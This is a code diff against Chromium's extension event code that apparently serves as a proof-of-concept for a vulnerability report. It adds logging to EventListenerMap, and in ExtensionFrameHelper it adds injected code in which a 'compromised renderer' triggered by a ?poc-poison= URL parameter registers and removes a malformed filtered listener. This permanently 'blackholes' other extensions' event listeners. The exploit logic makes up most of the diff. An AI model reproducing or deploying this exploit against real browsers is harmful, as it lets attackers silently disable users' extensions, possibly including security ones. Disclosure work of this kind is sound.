diff --git a/extensions/browser/event_listener_map.cc b/extensions/browser/event_listener_map.cc index 5724ed54c455d..d5922c0b39631 100644 --- a/extensions/browser/event_listener_map.cc +++ b/extensions/browser/event_listener_map.cc @@ -168,6 +168,13 @@ bool EventListenerMap::AddListener(std::unique_ptr listener) { listener->set_matcher_id(id); listeners_by_matcher_id_[id] = listener.get(); filtered_events_.insert(listener->event_name()); + // POC instrumentation (browser process): show that filtered_events_ + // is unconditionally poisoned even when AddEventMatcher rejected the + // filter and returned -1. + LOG(ERROR) << "[POC-BROWSER] AddListener: filtered_events_.insert(\"" + << listener->event_name() << "\"); matcher_id=" << id + << (id == -1 ? " <-- FILTER REJECTED, POISON IS PERMANENT" + : ""); } EventListener* listener_ptr = listener.get(); listeners_[listener->event_name()].push_back(std::move(listener)); @@ -365,7 +372,8 @@ void EventListenerMap::LoadFilteredLazyListeners( std::set EventListenerMap::GetEventListeners( const Event& event) { std::set interested_listeners; - if (IsFilteredEvent(event)) { + const bool filtered = IsFilteredEvent(event); + if (filtered) { // Look up the interested listeners via the EventFilter. std::set ids = event_filter_.MatchEvent( event.event_name, *event.filter_info, IPC::mojom::kRoutingIdNone); @@ -381,6 +389,21 @@ std::set EventListenerMap::GetEventListeners( } } + // POC instrumentation (browser process): for the targeted event, log + // how many listeners actually exist vs. how many will be dispatched to. + // When poisoned: filtered=true, raw_listeners>0, returned=0. + auto raw_it = listeners_.find(event.event_name); + size_t raw = (raw_it == listeners_.end()) ? 0 : raw_it->second.size(); + if (raw > 0 || filtered) { + LOG(ERROR) << "[POC-BROWSER] GetEventListeners(\"" << event.event_name + << "\") IsFilteredEvent=" << (filtered ? "true" : "false") + << " raw_listeners=" << raw + << " returned=" << interested_listeners.size() + << ((filtered && raw > 0 && interested_listeners.empty()) + ? " <-- BLACKHOLED: victim listeners silently dropped" + : ""); + } + return interested_listeners; } @@ -459,6 +482,12 @@ void EventListenerMap::RemoveListenersForExtensionImpl( void EventListenerMap::CleanupListener(EventListener* listener) { // If the listener doesn't have a filter then we have nothing to clean up. if (listener->matcher_id() == -1) { + if (filtered_events_.contains(listener->event_name())) { + LOG(ERROR) << "[POC-BROWSER] CleanupListener(\"" << listener->event_name() + << "\") matcher_id==-1 -> early return; " + "filtered_events_ STILL contains this event " + "(permanent poison)"; + } return; } // If we're removing the final listener for an event, we can remove the diff --git a/extensions/renderer/extension_frame_helper.cc b/extensions/renderer/extension_frame_helper.cc index 1ab0e8afc84b8..6fec2ac87a822 100644 --- a/extensions/renderer/extension_frame_helper.cc +++ b/extensions/renderer/extension_frame_helper.cc @@ -286,6 +286,55 @@ void ExtensionFrameHelper::DidCreateDocumentElement() { did_create_current_document_element_ = true; extension_dispatcher_->DidCreateDocumentElement( render_frame()->GetWebFrame()); + + // =================================================================== + // POC INJECTION: simulated compromised renderer. + // When a web page is loaded with ?poc-poison=, this frame + // (acting as a compromised renderer) sends a malicious + // AddFilteredListenerForMainThread to the browser-process EventRouter + // over the channel-associated extensions.mojom.EventRouter interface. + // This interface is registered for *every* RenderFrameHost regardless + // of whether the frame hosts extension content. + // =================================================================== + GURL url(render_frame()->GetWebFrame()->GetDocument().Url()); + std::string query(url.query()); + const std::string kKey = "poc-poison="; + auto pos = query.find(kKey); + if (pos != std::string::npos) { + std::string event_name = query.substr(pos + kKey.size()); + auto amp = event_name.find('&'); + if (amp != std::string::npos) + event_name = event_name.substr(0, amp); + LOG(ERROR) << "[POC-RENDERER] compromised renderer at " << url + << " sending AddFilteredListenerForMainThread(" + << event_name + << ", filter={url:[{bogus:\"x\"}]}) to browser process"; + + // Malformed URL filter: {"url":[{"bogus":"x"}]}. + // URLMatcherFactory rejects unknown key "bogus" -> AddEventMatcher + // returns -1 -> filtered_events_.insert(event_name) still happened + // but matcher_id stays -1, so CleanupListener can never erase it. + base::DictValue filter = + base::DictValue().Set("url", base::ListValue().Append( + base::DictValue().Set("bogus", "x"))); + + GetEventRouter()->AddFilteredListenerForMainThread( + mojom::EventListenerOwner::NewListenerUrl( + GURL("http://attacker.example/")), + event_name, filter.Clone(), + /*add_lazy_listener=*/false); + + // Remove the listener again so the attacker leaves no listener of + // its own behind. CleanupListener early-returns at matcher_id()==-1 + // so filtered_events_ stays poisoned forever. + GetEventRouter()->RemoveFilteredListenerForMainThread( + mojom::EventListenerOwner::NewListenerUrl( + GURL("http://attacker.example/")), + event_name, filter.Clone(), + /*remove_lazy_listener=*/false); + + LOG(ERROR) << "[POC-RENDERER] poison + remove sent for " << event_name; + } } void ExtensionFrameHelper::DidCreateNewDocument() {